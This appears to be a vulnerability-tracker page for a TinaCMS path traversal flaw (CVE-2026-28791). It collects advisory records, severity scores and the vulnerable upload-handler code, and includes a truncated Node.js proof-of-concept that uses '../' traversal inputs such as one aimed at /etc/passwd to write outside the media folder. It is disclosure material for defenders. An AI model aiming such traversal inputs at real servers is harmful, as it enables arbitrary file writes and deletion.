Every CVE Search/ Get API key

CVE-2026-28791

Path Traversal in Media Upload Handle in Tina

7.4 HighFix available

Tina is a headless content management system. Prior to 2.1.7, a path traversal vulnerability exists in the TinaCMS development server's media upload handler. The code at media.ts joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem. This vulnerability is fixed in 2.1.7.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

0.38%Up 0.3 points since Mar 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.4

Path Traversal in Media Upload Handle in Tina

Tina is a headless content management system. Prior to 2.1.7, a path traversal vulnerability exists in the TinaCMS development server's media upload handler. The code at media.ts joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem. This vulnerability is fixed in 2.1.7.

Record
CVE-2026-28791
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-11609 7.4

Tina is a headless content management system. Prior to 2.1.7, a path traversal vulnerability exists in the TinaCMS development server's media upload handler. The code at media.ts joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem. This vulnerability is fixed in 2.1.7.

Record
EUVD-2026-11609
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-5hxf-c7j4-279c 7.4

Tina: Path Traversal in Media Upload Handle

Affected Package

| Field | Value | |-------|-------| | Package | @tinacms/cli | | Version | 2.0.5 (latest at time of discovery) | | Vulnerable File | packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts | | Vulnerable Lines | 42-43 |


Summary

A path traversal vulnerability (CWE-22) exists in the TinaCMS development server's media upload handler. The code at media.ts:42-43 joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem.

Attack Vector: Network (HTTP POST request)
Impact: Arbitrary file write, potential Remote Code Execution


Details

Vulnerable Code Location

File: packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
Lines: 42-43

bb.on('file', async (_name, file, _info) => {
  const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));  // Line 42
  const saveTo = path.join(mediaFolder, ...fullPath.split('/'));        // Line 43
  // make sure the directory exists before writing the file
  await fs.ensureDir(path.dirname(saveTo));
  file.pipe(fs.createWriteStream(saveTo));
});

Root Cause

The path.join() function resolves .. (parent directory) segments in the path. When the user-supplied path contains traversal sequences like ../../../etc/passwd, these are resolved relative to the media folder, allowing escape to arbitrary filesystem locations.

Example:

const mediaFolder = '/app/public/uploads';
const maliciousInput = '../../../tmp/evil.txt';
const saveTo = path.join(mediaFolder, ...maliciousInput.split('/'));
// Result: '/tmp/evil.txt' - OUTSIDE the media folder!

Additional Affected Endpoints

The same vulnerability pattern exists in:

  1. Delete Handler (handleDelete, lines 29-33) - Arbitrary file deletion
  2. List Handler (handleList, lines 16-27) + MediaModel.listMedia - Directory enumeration
  3. MediaModel.deleteMedia (lines 201-217) - Arbitrary file deletion

Similar code also exists in the Express version at:

  • packages/@tinacms/cli/src/server/routes/index.ts
  • packages/@tinacms/cli/src/server/models/media.ts

PoC

Quick Verification (No Server Required)

This Node.js script directly tests the vulnerable code logic:

#!/usr/bin/env node
/**
 * TinaCMS Path Traversal Vulnerability - Direct Code Test
 * Run: node test-vulnerability.js
 */

const path = require('path');
const fs = require('fs');

// Simulated configuration (matches typical TinaCMS setup)
const rootPath = '/tmp/tinacms-test';
const publicFolder = 'public';
const mediaRoot = 'uploads';
const mediaFolder = path.join(rootPath, publicFolder, mediaRoot);

// Setup test directories
fs.mkdirSync(path.join(rootPath, publicFolder, mediaRoot), { recursive: true });
fs.mkdirSync('/tmp/target-dir', { recursive: true });

console.log(`Media folder: ${mediaFolder}`);

// Simulate vulnerable code from media.ts:42-43
function vulnerableUpload(reqUrl) {
    const fullPath = decodeURI(reqUrl.slice('/media/upload/'.length));
    const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
    return saveTo;
}

// Test cases
const tests = [
    { url: '/media/upload/image.png', desc: 'Normal upload' },
    { url: '/media/upload/../../../tmp/target-dir/evil.txt', desc: 'Path traversal' },
];

tests.forEach(test => {
    const result = vulnerableUpload(test.url);
    const isVuln = !path.resolve(result).startsWith(path.resolve(mediaFolder));
    
    console.log(`\n${test.desc}:`);
    console.log(`  Input: ${test.url}`);
    console.log(`  Result: ${result}`);
    console.log(`  Vulnerable: ${isVuln ? 'YES ⚠️' : 'No ✓'}`);
    
    if (isVuln) {
        // Actually write the file to prove it works
        fs.mkdirSync(path.dirname(result), { recursive: true });
        fs.writeFileSync(result,…
Record
GHSA-5hxf-c7j4-279c
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
NVD 7.4

Tina is a headless content management system. Prior to 2.1.7, a path traversal vulnerability exists in the TinaCMS development server's media upload handler. The code at media.ts joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem. This vulnerability is fixed in 2.1.7.

Record
CVE-2026-28791
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSV 7.4

Path Traversal in Media Upload Handle in Tina

Tina is a headless content management system. Prior to 2.1.7, a path traversal vulnerability exists in the TinaCMS development server's media upload handler. The code at media.ts joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem. This vulnerability is fixed in 2.1.7.

Record
CVE-2026-28791
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-5hxf-c7j4-279c 7.4

Tina: Path Traversal in Media Upload Handle

Affected Package

| Field | Value | |-------|-------| | Package | @tinacms/cli | | Version | 2.0.5 (latest at time of discovery) | | Vulnerable File | packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts | | Vulnerable Lines | 42-43 |


Summary

A path traversal vulnerability (CWE-22) exists in the TinaCMS development server's media upload handler. The code at media.ts:42-43 joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem.

Attack Vector: Network (HTTP POST request)
Impact: Arbitrary file write, potential Remote Code Execution


Details

Vulnerable Code Location

File: packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
Lines: 42-43

bb.on('file', async (_name, file, _info) => {
  const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));  // Line 42
  const saveTo = path.join(mediaFolder, ...fullPath.split('/'));        // Line 43
  // make sure the directory exists before writing the file
  await fs.ensureDir(path.dirname(saveTo));
  file.pipe(fs.createWriteStream(saveTo));
});

Root Cause

The path.join() function resolves .. (parent directory) segments in the path. When the user-supplied path contains traversal sequences like ../../../etc/passwd, these are resolved relative to the media folder, allowing escape to arbitrary filesystem locations.

Example:

const mediaFolder = '/app/public/uploads';
const maliciousInput = '../../../tmp/evil.txt';
const saveTo = path.join(mediaFolder, ...maliciousInput.split('/'));
// Result: '/tmp/evil.txt' - OUTSIDE the media folder!

Additional Affected Endpoints

The same vulnerability pattern exists in:

  1. Delete Handler (handleDelete, lines 29-33) - Arbitrary file deletion
  2. List Handler (handleList, lines 16-27) + MediaModel.listMedia - Directory enumeration
  3. MediaModel.deleteMedia (lines 201-217) - Arbitrary file deletion

Similar code also exists in the Express version at:

  • packages/@tinacms/cli/src/server/routes/index.ts
  • packages/@tinacms/cli/src/server/models/media.ts

PoC

Quick Verification (No Server Required)

This Node.js script directly tests the vulnerable code logic:

#!/usr/bin/env node
/**
 * TinaCMS Path Traversal Vulnerability - Direct Code Test
 * Run: node test-vulnerability.js
 */

const path = require('path');
const fs = require('fs');

// Simulated configuration (matches typical TinaCMS setup)
const rootPath = '/tmp/tinacms-test';
const publicFolder = 'public';
const mediaRoot = 'uploads';
const mediaFolder = path.join(rootPath, publicFolder, mediaRoot);

// Setup test directories
fs.mkdirSync(path.join(rootPath, publicFolder, mediaRoot), { recursive: true });
fs.mkdirSync('/tmp/target-dir', { recursive: true });

console.log(`Media folder: ${mediaFolder}`);

// Simulate vulnerable code from media.ts:42-43
function vulnerableUpload(reqUrl) {
    const fullPath = decodeURI(reqUrl.slice('/media/upload/'.length));
    const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
    return saveTo;
}

// Test cases
const tests = [
    { url: '/media/upload/image.png', desc: 'Normal upload' },
    { url: '/media/upload/../../../tmp/target-dir/evil.txt', desc: 'Path traversal' },
];

tests.forEach(test => {
    const result = vulnerableUpload(test.url);
    const isVuln = !path.resolve(result).startsWith(path.resolve(mediaFolder));
    
    console.log(`\n${test.desc}:`);
    console.log(`  Input: ${test.url}`);
    console.log(`  Result: ${result}`);
    console.log(`  Vulnerable: ${isVuln ? 'YES ⚠️' : 'No ✓'}`);
    
    if (isVuln) {
        // Actually write the file to prove it works
        fs.mkdirSync(path.dirname(result), { recursive: true });
        fs.writeFileSync(result,…
Record
GHSA-5hxf-c7j4-279c
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
tinacms
npm
before 2.1.7
2.1.7

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-28791 is a high vulnerability (CVSS 7.4) in Tinacms, published March 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 31st percentile. Fixed in tinacms 2.1.7.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open